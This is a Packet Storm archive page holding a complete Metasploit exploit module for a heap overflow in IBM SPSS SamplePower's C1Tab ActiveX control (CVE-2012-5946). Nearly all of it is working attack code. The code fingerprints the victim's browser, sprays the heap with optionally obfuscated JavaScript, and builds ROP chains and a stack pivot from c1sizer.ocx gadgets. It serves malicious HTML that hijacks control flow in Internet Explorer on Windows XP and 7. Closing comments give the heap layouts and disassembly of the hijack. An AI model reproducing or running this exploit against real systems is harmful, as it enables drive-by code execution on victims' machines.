Exploit the possiblities

IBM SPSS SamplePower C1Tab ActiveX Heap Overflow

IBM SPSS SamplePower C1Tab ActiveX Heap Overflow
Posted May 28, 2013
Authored by Alexander Gavrun, juan vazquez | Site metasploit.com

This Metasploit module exploits a heap based buffer overflow in the C1Tab ActiveX control, while handling the TabCaption property. The affected control can be found in the c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. This Metasploit module has been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7 SP1.

tags | exploit, overflow, activex
systems | windows, xp, 7
advisories | CVE-2012-5946, OSVDB-92845
MD5 | ce698c98303b4f1491ee2e51696534d3

IBM SPSS SamplePower C1Tab ActiveX Heap Overflow

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::RopDb
include Msf::Exploit::Remote::BrowserAutopwn

autopwn_info({
:ua_name => HttpClients::IE,
:ua_minver => "6.0",
:ua_maxver => "8.0",
:javascript => true,
:os_name => OperatingSystems::WINDOWS,
:rank => NormalRanking,
:classid => "{24E04EBF-014D-471F-930E-7654B1193BA9}",
:method => "TabCaption"
})


def initialize(info={})
super(update_info(info,
'Name' => "IBM SPSS SamplePower C1Tab ActiveX Heap Overflow",
'Description' => %q{
This module exploits a heap based buffer overflow in the C1Tab ActiveX control,
while handling the TabCaption property. The affected control can be found in the
c1sizer.ocx component as included with IBM SPSS SamplePower 3.0. This module has
been tested successfully on IE 6, 7 and 8 on Windows XP SP3 and IE 8 on Windows 7
SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', # Vulnerability discovery
'juan vazquez' # Metasploit
],
'References' =>
[
[ 'CVE', '2012-5946' ],
[ 'OSVDB', '92845' ],
[ 'BID', '59559' ],
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21635476' ]
],
'Payload' =>
{
'Space' => 991,
'BadChars' => "\x00",
'DisableNops' => true
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# IBM SPSS SamplePower 3.0 / c1sizer.ocx 8.0.20071.39
[ 'Automatic', {} ],
[ 'IE 6 on Windows XP SP3',
{
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c08
}
],
[ 'IE 7 on Windows XP SP3',
{
'Offset' => '0x5F4',
'Ret' => 0x0c0c0c08
}
],
[ 'IE 8 on Windows XP SP3',
{
'Offset' => '0x5f4',
'Ret' => 0x0c0c0c0c,
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
}
],
[ 'IE 8 on Windows 7',
{
'Offset' => '0x5f4',
'Ret' => 0x0c0c0c0c,
'Pivot' => 0x7c342643 # xchg eax, esp # pop edi # add byte ptr [eax],al # pop ecx # ret
}
]
],
'Privileged' => false,
'DisclosureDate' => "Apr 26 2013",
'DefaultTarget' => 0))

register_options(
[
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
], self.class)

end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt
when '5.1'
os_name = 'Windows XP SP3'
when '6.0'
os_name = 'Windows Vista'
when '6.1'
os_name = 'Windows 7'
end

targets.each do |t|
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
print_status("Target selected as: #{t.name}")
return t
end
end
print_status("target not found #{agent}")
return nil
end

def ie_heap_spray(my_target, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

# Land the payload at 0x0c0c0c0c
# For IE 6, 7, 8
js = %Q|
var heap_obj = new heapLib.ie(0x20000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_nops}");
while (nops.length < 0x80000) nops += nops;
var offset = nops.substring(0, #{my_target['Offset']});
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(0, (0x80000-6)/2);
heap_obj.gc();
for (var i=1; i < 0x300; i++) {
heap_obj.alloc(block);
}
var overflow = nops.substring(0, 10);
|

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']
js = ::Rex::Exploitation::JSObfu.new(js)
js.obfuscate
end

return js
end

def junk(n=4)
return rand_text_alpha(n).unpack("V").first
end

def rop_chain
# gadgets from c1sizer.ocx
rop_gadgets =
[
0x0c0c0c10,
0x10026984, # ADD ESP,10 # POP EDI # POP ESI # POP EBX # POP EBP # RETN # stackpivot to the controlled stack
0x100076f1, # pop eax # ret
0x10029134, # &VirtualAllox
0x1001b41e, # jmp [eax]
0x0c0c0c34, # ret address
0x0c0c0c0c, # lpAddress
0x00001000, # dwSize
0x00001000, # flAllocationType
0x00000040 # flProtect
].pack("V*")

return rop_gadgets
end

def get_payload(t, cli)
code = payload.encoded
# No rop. Just return the payload.

if (t.name =~ /IE 6/ or t.name =~ /IE 7/)
fake_memory = [
0x0c0c0c10,
0x0c0c0c14
].pack("V*")
return fake_memory + code
end

return rop_chain + stack_pivot + code
end

# Objects filling aren't randomized because
# this combination make exploit more reliable.
def fake_object(size)
object = "B" * 8 # metadata
object << "D" * size # fake object
return object
end

def stack_pivot
pivot = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
pivot << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
pivot << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
pivot << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
return pivot
end

# Check the memory layout documentation at the end of the module
def overflow_xp
buf = rand_text_alpha(0x10000)
# Start to overflow
buf << fake_object(0x40)
buf << fake_object(0x30)
buf << fake_object(0x30)
buf << fake_object(0x40)
buf << fake_object(0x10)
buf << fake_object(0x10)
buf << fake_object(0x20)
buf << fake_object(0x10)
buf << fake_object(0x30)
buf << "B" * 0x8 # metadata chunk
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
end

# Check the memory layout documentation at the end of the module
def overflow_xp_ie8
buf = [
junk, # padding
0x1001b557, # pop eax # c1sizer.ocx
0x0c0c0c14, # eax
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
].pack("V*")
buf << rand_text_alpha(0x10000-16)
# Start to overflow
buf << "B" * 0x8 # metadata chunk
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
end

# Check the memory layout documentation at the end of the module
def overflow_w7
buf = [
junk, # padding
0x1001b557, # pop eax # c1sizer.ocx
0x0c0c0c14, # eax
0x10028ad8 # xchg eax,esp # c1sizer.ocx # stackpivot to the heap
].pack("V*")
buf << rand_text_alpha(0x10000-16)
# Start to oveflow
buf << fake_object(0x3f8)
buf << fake_object(0x1a0)
buf << fake_object(0x1e0)
buf << fake_object(0x1a0)
buf << fake_object(0x1e0)
buf << fake_object(0x1a0)
buf << "B" * 0x8 # metadata chunk
buf << "\x0c" * 0x40 # Overflow first 0x40 of the exploited object
end

def get_overflow(t)
if t.name =~ /Windows 7/
return overflow_w7
elsif t.name =~ /Windows XP/ and t.name =~ /IE 8/
return overflow_xp_ie8
elsif t.name =~ /Windows XP/
return overflow_xp
end
end

# * 15 C1TAB objects are used to defragement the heap, so objects are stored after the vulnerable buffer.
# * Based on empirical tests, 5th C1TAB comes after the vulnerable buffer.
# * Using the 7th CITAB is possible to overflow itself and get control before finishing the set of the
# TabCaption property.
def trigger_w7
target = rand_text_alpha(5 + rand(3))
target2 = rand_text_alpha(5 + rand(3))
target3 = rand_text_alpha(5 + rand(3))
target4 = rand_text_alpha(5 + rand(3))
target5 = rand_text_alpha(5 + rand(3))
target6 = rand_text_alpha(5 + rand(3))
target7 = rand_text_alpha(5 + rand(3))
target8 = rand_text_alpha(5 + rand(3))
target9 = rand_text_alpha(5 + rand(3))
target10 = rand_text_alpha(5 + rand(3))
target11 = rand_text_alpha(5 + rand(3))
target12 = rand_text_alpha(5 + rand(3))
target13 = rand_text_alpha(5 + rand(3))
target14 = rand_text_alpha(5 + rand(3))
target15 = rand_text_alpha(5 + rand(3))

objects = %Q|
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target2}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target3}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target4}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target5}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target6}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target7}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target8}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target9}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target10}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target11}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target12}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target13}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target14}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target15}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
return objects, target7
end

# * Based on empirical test, the C1TAB object comes after the vulnerable buffer on memory, so just
# an object is sufficient to overflow itself and get control execution.
def trigger_xp
target = rand_text_alpha(5 + rand(3))

objects = %Q|
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
return objects, target
end

def get_trigger(t)
if t.name =~ /Windows 7/
return trigger_w7
elsif t.name =~ /Windows XP/
return trigger_xp
end
end

def load_exploit_html(my_target, cli)
p = get_payload(my_target, cli)
js = ie_heap_spray(my_target, p)
buf = get_overflow(my_target)

objects, target_object = get_trigger(my_target)

html = %Q|
<html>
<head>
</head>
<body>
#{objects}
<script>
CollectGarbage();
#{js}
#{target_object}.Caption = "";
#{target_object}.TabCaption(0) = "#{buf}";
</script>
</body>
</html>
|

return html
end

def on_request_uri(cli, request)
agent = request.headers['User-Agent']
uri = request.uri
print_status("Requesting: #{uri}")

my_target = get_target(agent)
# Avoid the attack if no suitable target found
if my_target.nil?
print_error("Browser not supported, sending 404: #{agent}")
send_not_found(cli)
return
end

html = load_exploit_html(my_target, cli)
html = html.gsub(/^\t\t/, '')
print_status("Sending HTML...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

end


=begin

[*] Windows XP / ie6 & ie7 memory layout at oveflow, based on empirical test

Heap entries for Segment01 in Heap 01ca0000
address: psize . size flags state (requested size)
025c0000: 00000 . 00040 [01] - busy (40)
025c0040: 00040 . 10008 [01] - busy (10000)
025d0048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
025e0050: 10008 . 00048 [01] - busy (40)
025e0098: 00048 . 00038 [01] - busy (30)
025e00d0: 00038 . 00038 [01] - busy (30)
025e0108: 00038 . 00048 [01] - busy (40)
025e0150: 00048 . 00018 [01] - busy (10)
025e0168: 00018 . 00018 [01] - busy (10)
025e0180: 00018 . 00028 [01] - busy (20)
025e01a8: 00028 . 00018 [01] - busy (10)
025e01c0: 00018 . 00010 [00]
025e01d0: 00010 . 00038 [01] - busy (30)
025e0208: 00038 . 001e8 [01] - busy (1e0) // Vulnerable object
025e03f0: 001e8 . 001a8 [01] - busy (1a0)


[*] Windows XP / ie8 memory layout at oveflow, based on empirical test

Heap entries for Segment01 in Heap 03350000
address: psize . size flags state (requested size)
03840000: 00000 . 00040 [01] - busy (40)
03840040: 00040 . 10008 [01] - busy (10000)
03850048: 10008 . 10008 [01] - busy (10000) // Overflowed buffer
03860050: 10008 . 001e8 [01] - busy (1e0) // Vulnerable object
03860238: 001e8 . 001a8 [01] - busy (1a0)
038603e0: 001a8 . 00078 [00]
03860458: 00078 . 00048 [01] - busy (40)
038604a0: 00048 . 00048 [01] - busy (40)
038604e8: 00048 . 00618 [01] - busy (610)
03860b00: 00618 . 10208 [01] - busy (10200)
03870d08: 10208 . 032f8 [10]
03874000: 000cc000 - uncommitted bytes.


[*] windows 7 / ie8 memory layout at oveflow, based on empirical test

03240000: 00000 . 00040 [101] - busy (3f)
03240040: 00040 . 10008 [101] - busy (10000)
03250048: 10008 . 10008 [101] - busy (10000) # Overwritten buffer
03260050: 10008 . 00400 [101] - busy (3f8) Internal
03260450: 00400 . 001a8 [101] - busy (1a0)
032605f8: 001a8 . 001e8 [101] - busy (1e0)
032607e0: 001e8 . 001a8 [101] - busy (1a0)
03260988: 001a8 . 001e8 [101] - busy (1e0)
03260b70: 001e8 . 001a8 [101] - busy (1a0)
03260d18: 001a8 . 001e8 [101] - busy (1e0) # Our vulnerable object, target7, seems reliable according to testing
03260f00: 001e8 . 001a8 [101] - busy (1a0)
032610a8: 001a8 . 001e8 [101] - busy (1e0)
03261290: 001e8 . 001a8 [101] - busy (1a0)
03261438: 001a8 . 001e8 [101] - busy (1e0)
03261620: 001e8 . 001a8 [101] - busy (1a0)
032617c8: 001a8 . 001e8 [101] - busy (1e0)

[*] Overflow:

.text:100146E1 push eax ; lpString2
.text:100146E2 push CaptionlpBuffer ; lpString1
.text:100146E8 call ds:lstrcatA ; Heap Overflow when setting a new CaptionString > 0x10000

[*] Get Control after overflow:

.text:1001A40D call overflow_sub_1001469E ; Overflow happens here
.text:1001A412 mov ecx, edi ; edi points to the overflowed object, then ecx (this)
.text:1001A414 call get_control_sub_100189EC ; Get profit from the overflowed object here

.text:100189EC get_control_sub_100189EC proc near ; CODE XREF: sub_1001A1A9+B6p
.text:100189EC ; SetTabCaption_sub_1001A2EC+128p ...
.text:100189EC
.text:100189EC var_4 = dword ptr -4
.text:100189EC
.text:100189EC push ebp
.text:100189ED mov ebp, esp
.text:100189EF push ecx
.text:100189F0 mov eax, [ecx+10h] # ecx points to controlled memory, so eax can be controlled
.text:100189F3 and [ebp+var_4], 0
.text:100189F7 test eax, eax
.text:100189F9 jz short locret_10018A23
.text:100189FB mov ecx, [eax] # eax can be controlled and make it point to sprayed mem, ecx can be controlled
.text:100189FD lea edx, [ebp+var_4]
.text:10018A00 push edx
.text:10018A01 push offset unk_1002B628
.text:10018A06 push eax
.text:10018A07 call dword ptr [ecx] # woot!

=end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

December 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    15 Files
  • 2
    Dec 2nd
    2 Files
  • 3
    Dec 3rd
    1 Files
  • 4
    Dec 4th
    15 Files
  • 5
    Dec 5th
    15 Files
  • 6
    Dec 6th
    18 Files
  • 7
    Dec 7th
    17 Files
  • 8
    Dec 8th
    15 Files
  • 9
    Dec 9th
    13 Files
  • 10
    Dec 10th
    4 Files
  • 11
    Dec 11th
    41 Files
  • 12
    Dec 12th
    44 Files
  • 13
    Dec 13th
    25 Files
  • 14
    Dec 14th
    15 Files
  • 15
    Dec 15th
    28 Files
  • 16
    Dec 16th
    3 Files
  • 17
    Dec 17th
    13 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close